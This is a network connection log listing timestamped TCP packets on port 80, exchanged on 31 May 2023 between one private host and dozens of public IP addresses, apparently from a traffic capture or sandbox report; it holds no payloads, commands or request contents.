May 31, 2023 14:50:06.262188911 CEST	49773	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:06.348021030 CEST	80	49773	93.187.206.66	192.168.2.3
May 31, 2023 14:50:06.348088980 CEST	80	49773	93.187.206.66	192.168.2.3
May 31, 2023 14:50:06.348253965 CEST	49773	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:06.496493101 CEST	49774	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:06.829237938 CEST	80	49752	122.128.109.107	192.168.2.3
May 31, 2023 14:50:06.829930067 CEST	49752	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:07.036192894 CEST	80	49755	96.127.180.42	192.168.2.3
May 31, 2023 14:50:07.036340952 CEST	49755	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:07.844405890 CEST	80	49753	208.109.214.162	192.168.2.3
May 31, 2023 14:50:07.844530106 CEST	49753	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:08.376491070 CEST	49772	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:09.450843096 CEST	80	49727	202.254.236.40	192.168.2.3
May 31, 2023 14:50:09.450923920 CEST	49727	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:09.564172029 CEST	49774	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:09.845355034 CEST	49747	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:11.432661057 CEST	80	49745	195.78.66.50	192.168.2.3
May 31, 2023 14:50:11.432852030 CEST	49745	80	192.168.2.3	195.78.66.50
May 31, 2023 14:50:13.711858034 CEST	80	49716	170.82.174.30	192.168.2.3
May 31, 2023 14:50:13.711946964 CEST	49716	80	192.168.2.3	170.82.174.30
May 31, 2023 14:50:14.376993895 CEST	49772	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:14.487786055 CEST	49775	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:14.516820908 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:14.520071030 CEST	49777	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:14.520147085 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:14.520462036 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:14.520524025 CEST	49780	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:14.534143925 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:14.537095070 CEST	80	49780	104.21.23.9	192.168.2.3
May 31, 2023 14:50:14.537192106 CEST	49780	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:14.537571907 CEST	49780	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:14.550456047 CEST	80	49779	80.93.82.33	192.168.2.3
May 31, 2023 14:50:14.550595045 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:14.554063082 CEST	80	49780	104.21.23.9	192.168.2.3
May 31, 2023 14:50:14.565428972 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:14.567034006 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:14.571099043 CEST	80	49780	104.21.23.9	192.168.2.3
May 31, 2023 14:50:14.571249962 CEST	49780	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:14.586168051 CEST	80	49782	192.124.249.20	192.168.2.3
May 31, 2023 14:50:14.587583065 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:14.596142054 CEST	80	49779	80.93.82.33	192.168.2.3
May 31, 2023 14:50:14.596546888 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:14.639688969 CEST	80	49781	70.39.251.249	192.168.2.3
May 31, 2023 14:50:14.643223047 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:14.643260956 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:14.657751083 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:14.657890081 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:14.662381887 CEST	80	49782	192.124.249.20	192.168.2.3
May 31, 2023 14:50:14.662642956 CEST	80	49782	192.124.249.20	192.168.2.3
May 31, 2023 14:50:14.662959099 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:14.666490078 CEST	80	49777	3.94.41.167	192.168.2.3
May 31, 2023 14:50:14.666656971 CEST	49777	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:14.691907883 CEST	80	49779	80.93.82.33	192.168.2.3
May 31, 2023 14:50:14.696549892 CEST	49779	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:14.696712971 CEST	49777	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:14.721642017 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:14.741133928 CEST	80	49782	192.124.249.20	192.168.2.3
May 31, 2023 14:50:14.742228031 CEST	49782	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:14.763329983 CEST	80	49781	70.39.251.249	192.168.2.3
May 31, 2023 14:50:14.764132023 CEST	80	49781	70.39.251.249	192.168.2.3
May 31, 2023 14:50:14.764206886 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:14.789300919 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:14.790191889 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:14.802752972 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:14.802860975 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:14.808403969 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:14.808825970 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:14.809206963 CEST	49783	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:14.809919119 CEST	49784	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:14.826652050 CEST	80	49784	188.114.97.7	192.168.2.3
May 31, 2023 14:50:14.828382969 CEST	49784	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:14.831806898 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:14.832258940 CEST	80	49783	34.117.168.233	192.168.2.3
May 31, 2023 14:50:14.832258940 CEST	49784	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:14.832427025 CEST	49783	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:14.832874060 CEST	49783	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:14.842313051 CEST	80	49777	3.94.41.167	192.168.2.3
May 31, 2023 14:50:14.842377901 CEST	80	49777	3.94.41.167	192.168.2.3
May 31, 2023 14:50:14.842418909 CEST	49777	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:14.842483044 CEST	49777	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:14.845105886 CEST	49777	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:14.848819971 CEST	80	49784	188.114.97.7	192.168.2.3
May 31, 2023 14:50:14.855899096 CEST	80	49783	34.117.168.233	192.168.2.3
May 31, 2023 14:50:14.865169048 CEST	80	49784	188.114.97.7	192.168.2.3
May 31, 2023 14:50:14.865272045 CEST	49784	80	192.168.2.3	188.114.97.7
May 31, 2023 14:50:14.866327047 CEST	80	49783	34.117.168.233	192.168.2.3
May 31, 2023 14:50:14.866470098 CEST	49783	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:14.914921045 CEST	80	49781	70.39.251.249	192.168.2.3
May 31, 2023 14:50:14.919375896 CEST	49781	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:14.990619898 CEST	80	49777	3.94.41.167	192.168.2.3
May 31, 2023 14:50:15.062505007 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.074214935 CEST	49785	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:15.081919909 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.081958055 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.081980944 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082000017 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082005978 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.082019091 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082037926 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082041979 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.082056999 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082077980 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082078934 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.082096100 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082097054 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.082117081 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.082123995 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.082143068 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.082159042 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.096792936 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:15.096973896 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:15.114573002 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118216991 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118251085 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118273020 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118293047 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118313074 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118365049 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.118365049 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.118376970 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118415117 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118473053 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.118494034 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118561983 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118581057 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.118653059 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.118693113 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.132776976 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.132929087 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:15.135175943 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:15.165328026 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:15.169090033 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.169116974 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.169132948 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.169142962 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.169158936 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.169173956 CEST	80	49786	213.186.33.17	192.168.2.3
May 31, 2023 14:50:15.169240952 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:15.169332027 CEST	49786	80	192.168.2.3	213.186.33.17
May 31, 2023 14:50:15.181880951 CEST	80	49788	172.67.73.176	192.168.2.3
May 31, 2023 14:50:15.182010889 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:15.191030025 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:15.207519054 CEST	80	49788	172.67.73.176	192.168.2.3
May 31, 2023 14:50:15.217905998 CEST	80	49788	172.67.73.176	192.168.2.3
May 31, 2023 14:50:15.218010902 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:15.218760967 CEST	49789	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:15.220406055 CEST	80	49785	3.94.41.167	192.168.2.3
May 31, 2023 14:50:15.220527887 CEST	49785	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:15.221827030 CEST	49785	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:15.232430935 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:50:15.232525110 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:15.242878914 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:15.243019104 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:15.264410019 CEST	80	49788	172.67.73.176	192.168.2.3
May 31, 2023 14:50:15.266653061 CEST	49788	80	192.168.2.3	172.67.73.176
May 31, 2023 14:50:15.310825109 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:15.311070919 CEST	49791	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:15.326833963 CEST	80	49791	216.58.215.243	192.168.2.3
May 31, 2023 14:50:15.327008009 CEST	49791	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:15.333123922 CEST	49791	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:15.345410109 CEST	80	49790	62.122.190.121	192.168.2.3
May 31, 2023 14:50:15.345508099 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:15.348310947 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:15.348862886 CEST	80	49791	216.58.215.243	192.168.2.3
May 31, 2023 14:50:15.354235888 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.354276896 CEST	80	49776	59.106.19.204	192.168.2.3
May 31, 2023 14:50:15.354371071 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.354371071 CEST	49776	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:15.367217064 CEST	80	49785	3.94.41.167	192.168.2.3
May 31, 2023 14:50:15.367259026 CEST	80	49785	3.94.41.167	192.168.2.3
May 31, 2023 14:50:15.367319107 CEST	49785	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:15.378585100 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:50:15.382514000 CEST	80	49790	62.122.190.121	192.168.2.3
May 31, 2023 14:50:15.383928061 CEST	80	49790	62.122.190.121	192.168.2.3
May 31, 2023 14:50:15.384072065 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:15.391854048 CEST	49785	80	192.168.2.3	3.94.41.167
May 31, 2023 14:50:15.401081085 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.401163101 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.401177883 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.401215076 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.401269913 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.401305914 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.401314020 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.401316881 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.401350975 CEST	80	49778	118.27.125.181	192.168.2.3
May 31, 2023 14:50:15.401365042 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.401463985 CEST	49778	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:15.481700897 CEST	80	49789	206.191.152.37	192.168.2.3
May 31, 2023 14:50:15.481818914 CEST	49789	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:15.515364885 CEST	80	49791	216.58.215.243	192.168.2.3
May 31, 2023 14:50:15.515494108 CEST	49791	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:15.525249958 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:50:15.525437117 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:15.525451899 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:15.525576115 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:15.525748014 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.537307978 CEST	80	49785	3.94.41.167	192.168.2.3
May 31, 2023 14:50:15.541349888 CEST	49789	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:15.542181015 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.542295933 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.560617924 CEST	80	49790	62.122.190.121	192.168.2.3
May 31, 2023 14:50:15.562598944 CEST	49790	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:15.564182997 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.564627886 CEST	49774	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:15.580713034 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595330954 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595390081 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595434904 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595439911 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.595468044 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.595484972 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595520973 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595531940 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.595552921 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.595561981 CEST	80	49793	104.26.15.53	192.168.2.3
May 31, 2023 14:50:15.595570087 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.595607996 CEST	49793	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:15.623388052 CEST	80	49792	192.241.158.94	192.168.2.3
May 31, 2023 14:50:15.626879930 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:15.674743891 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:15.709275961 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:15.733853102 CEST	80	49770	162.43.120.128	192.168.2.3
May 31, 2023 14:50:15.733952999 CEST	49770	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:15.804184914 CEST	80	49789	206.191.152.37	192.168.2.3
May 31, 2023 14:50:15.807058096 CEST	80	49789	206.191.152.37	192.168.2.3
May 31, 2023 14:50:15.807075977 CEST	80	49789	206.191.152.37	192.168.2.3
May 31, 2023 14:50:15.807142019 CEST	49789	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:15.807665110 CEST	80	49789	206.191.152.37	192.168.2.3
May 31, 2023 14:50:15.807954073 CEST	49789	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:15.810410023 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:50:15.810971022 CEST	49789	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:15.811888933 CEST	80	49792	192.241.158.94	192.168.2.3
May 31, 2023 14:50:15.812005043 CEST	80	49792	192.241.158.94	192.168.2.3
May 31, 2023 14:50:15.812123060 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:15.845725060 CEST	80	49787	170.82.173.30	192.168.2.3
May 31, 2023 14:50:15.847007036 CEST	49787	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:15.902487993 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:16.013832092 CEST	80	49792	192.241.158.94	192.168.2.3
May 31, 2023 14:50:16.014086962 CEST	49792	80	192.168.2.3	192.241.158.94
May 31, 2023 14:50:16.073719978 CEST	80	49789	206.191.152.37	192.168.2.3
May 31, 2023 14:50:16.133083105 CEST	49794	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:16.133235931 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:50:16.133620024 CEST	49796	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.149727106 CEST	80	49795	172.67.152.159	192.168.2.3
May 31, 2023 14:50:16.149827957 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:50:16.153681993 CEST	80	49794	3.64.163.50	192.168.2.3
May 31, 2023 14:50:16.153789043 CEST	49794	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:16.157825947 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:50:16.158303976 CEST	49794	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:16.174243927 CEST	80	49795	172.67.152.159	192.168.2.3
May 31, 2023 14:50:16.176246881 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:16.176512003 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:16.180351973 CEST	80	49794	3.64.163.50	192.168.2.3
May 31, 2023 14:50:16.182708979 CEST	80	49794	3.64.163.50	192.168.2.3
May 31, 2023 14:50:16.184439898 CEST	49794	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:16.202384949 CEST	80	49797	80.74.154.6	192.168.2.3
May 31, 2023 14:50:16.202507019 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:16.214781046 CEST	80	49798	135.181.73.98	192.168.2.3
May 31, 2023 14:50:16.214874983 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:16.247009993 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:16.247059107 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:16.247479916 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:16.248497963 CEST	49800	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:16.254611969 CEST	80	49795	172.67.152.159	192.168.2.3
May 31, 2023 14:50:16.254638910 CEST	80	49795	172.67.152.159	192.168.2.3
May 31, 2023 14:50:16.254653931 CEST	80	49795	172.67.152.159	192.168.2.3
May 31, 2023 14:50:16.254743099 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:50:16.254774094 CEST	49795	80	192.168.2.3	172.67.152.159
May 31, 2023 14:50:16.263329029 CEST	80	49800	34.117.168.233	192.168.2.3
May 31, 2023 14:50:16.263412952 CEST	49800	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:16.272763014 CEST	80	49797	80.74.154.6	192.168.2.3
May 31, 2023 14:50:16.272793055 CEST	80	49797	80.74.154.6	192.168.2.3
May 31, 2023 14:50:16.272874117 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:16.275440931 CEST	80	49799	82.201.61.230	192.168.2.3
May 31, 2023 14:50:16.275547028 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:16.285286903 CEST	80	49798	135.181.73.98	192.168.2.3
May 31, 2023 14:50:16.285542965 CEST	80	49798	135.181.73.98	192.168.2.3
May 31, 2023 14:50:16.285646915 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:16.288801908 CEST	80	49796	3.19.116.195	192.168.2.3
May 31, 2023 14:50:16.290920973 CEST	49796	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.345184088 CEST	49800	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:16.345624924 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:16.360081911 CEST	80	49800	34.117.168.233	192.168.2.3
May 31, 2023 14:50:16.367381096 CEST	49796	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.368223906 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:16.369440079 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:16.373575926 CEST	80	49799	82.201.61.230	192.168.2.3
May 31, 2023 14:50:16.379455090 CEST	80	49800	34.117.168.233	192.168.2.3
May 31, 2023 14:50:16.379517078 CEST	49800	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:16.380603075 CEST	80	49799	82.201.61.230	192.168.2.3
May 31, 2023 14:50:16.380990028 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:16.394078970 CEST	80	49797	80.74.154.6	192.168.2.3
May 31, 2023 14:50:16.394610882 CEST	49797	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:16.400007010 CEST	80	49801	89.161.163.246	192.168.2.3
May 31, 2023 14:50:16.400111914 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:16.411796093 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:16.450273037 CEST	80	49798	135.181.73.98	192.168.2.3
May 31, 2023 14:50:16.450397968 CEST	49798	80	192.168.2.3	135.181.73.98
May 31, 2023 14:50:16.467390060 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:16.481666088 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:16.502244949 CEST	80	49799	82.201.61.230	192.168.2.3
May 31, 2023 14:50:16.502487898 CEST	49799	80	192.168.2.3	82.201.61.230
May 31, 2023 14:50:16.512424946 CEST	80	49801	89.161.163.246	192.168.2.3
May 31, 2023 14:50:16.512836933 CEST	80	49801	89.161.163.246	192.168.2.3
May 31, 2023 14:50:16.512917042 CEST	80	49801	89.161.163.246	192.168.2.3
May 31, 2023 14:50:16.513017893 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:16.513017893 CEST	49801	80	192.168.2.3	89.161.163.246
May 31, 2023 14:50:16.522200108 CEST	80	49796	3.19.116.195	192.168.2.3
May 31, 2023 14:50:16.522228956 CEST	80	49796	3.19.116.195	192.168.2.3
May 31, 2023 14:50:16.522291899 CEST	49796	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.522331953 CEST	49796	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.547213078 CEST	49796	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.701968908 CEST	80	49796	3.19.116.195	192.168.2.3
May 31, 2023 14:50:16.713978052 CEST	49802	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.806817055 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:16.826035023 CEST	80	49803	192.124.249.10	192.168.2.3
May 31, 2023 14:50:16.826131105 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:16.827256918 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:16.846291065 CEST	80	49803	192.124.249.10	192.168.2.3
May 31, 2023 14:50:16.846662998 CEST	80	49803	192.124.249.10	192.168.2.3
May 31, 2023 14:50:16.846786022 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:16.869247913 CEST	80	49802	3.19.116.195	192.168.2.3
May 31, 2023 14:50:16.869322062 CEST	49802	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.874313116 CEST	49802	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.876173019 CEST	49804	80	192.168.2.3	3.19.116.195
May 31, 2023 14:50:16.876281977 CEST	49806	80	192.168.2.3	192.252.154.18
May 31, 2023 14:50:16.876286030 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:16.876355886 CEST	49808	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:16.876389027 CEST	49807	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:16.877767086 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:16.893915892 CEST	80	49807	188.114.96.7	192.168.2.3
May 31, 2023 14:50:16.894001007 CEST	80	49808	104.21.55.224	192.168.2.3
May 31, 2023 14:50:16.894001007 CEST	49807	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:16.894090891 CEST	49808	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:16.894529104 CEST	49807	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:16.895246983 CEST	49808	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:16.897579908 CEST	80	49803	192.124.249.10	192.168.2.3
May 31, 2023 14:50:16.897661924 CEST	49803	80	192.168.2.3	192.124.249.10
May 31, 2023 14:50:16.910789967 CEST	80	49807	188.114.96.7	192.168.2.3
May 31, 2023 14:50:16.911736012 CEST	80	49808	104.21.55.224	192.168.2.3
May 31, 2023 14:50:16.913399935 CEST	80	49805	81.2.194.241	192.168.2.3
May 31, 2023 14:50:16.913472891 CEST	49805	80	192.168.2.3	81.2.194.241
May 31, 2023 14:50:16.921232939 CEST	80	49807	188.114.96.7	192.168.2.3
May 31, 2023 14:50:16.922094107 CEST	80	49808	104.21.55.224	192.168.2.3
May 31, 2023 14:50:16.922172070 CEST	49807	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:16.922645092 CEST	49808	80	192.168.2.3	104.21.55.224
May 31, 2023 14:50:16.937561989 CEST	80	49754	213.186.33.40	192.168.2.3
May 31, 2023 14:50:16.938709021 CEST	49754	80	192.168.2.3	213.186.33.40
